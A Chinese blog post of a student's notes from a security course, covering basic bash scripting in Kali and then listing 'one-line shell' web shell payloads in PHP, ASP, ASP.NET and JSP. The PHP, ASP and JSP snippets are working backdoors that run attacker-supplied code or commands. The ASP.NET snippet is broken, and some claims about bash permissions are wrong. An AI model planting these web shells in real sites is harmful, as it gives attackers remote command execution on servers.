古希腊掌管翘嘴(shell)的神(一)

前言

本次学习的是在b站up主泷羽sec课程有感而发,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
!!注意:蓝色点击均可进入相关对应网站。

一、shell脚本创建和执行

进入kali
vim shell.sh   创建shell.sh
ls -l bin/sh
ls -l shell.sh
chmod 777 shell.sh  赋予最高权限
./shell.sh     就可以运行了
sh shell.sh    没有权限执行
bash shell.sh    脚本解释器,在你没有权限也会赋予权限执行
source shell.sh   同上,但是输出的结果颜色好看

在这里插入图片描述
在这里插入图片描述

name="blankspace"  定义name变量,输出blankspace
echo $name
age="16"
echo my name is $name and my age is $age years old

在这里插入图片描述
在这里插入图片描述

echo "my name is $name and my age is $age years old"
echo 'my name is $name and my age is $age years old'
echo my name is $name and my age is $ageasdasd years old
echo my name is $name and my age is "$age" years old
echo my name is $name and my age is {$age} years old

在这里插入图片描述

查看变量

set  
set | grep name    查看name变量
unset name         删除name变量

二、一句话shell

<?php @eval($_POST['pass']);?>  PHP 语言
<%eval request("pass")%>        ASP 语言

ASP.NET语言(C# 语法示例)

<%@ Page Language="C#" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        if (Request.Form["pass"]!= null)
        {
            System.Web.UI.WebControls.TextBox1.Text = (string)Microsoft.CSharp.RuntimeBinder.RuntimeBinderException.ExecuteStatement(Request.Form["pass"].ToString());
        }
    }
</script>

JSP 语言(基于 Java 的服务器页面)

<%
if("pass".equals(request.getParameter("pass"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[1024];
    out.print("<pre>");
    while((a = in.read(b))!=-1){
        out.print(new String(b,0,a));
    }
    out.print("</pre>");
}
%>

总结

今天学习了简单的shell,别以为结束了,接下来还要继续学习,以后好掌握shell做自己喜欢做的事,嘻嘻。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值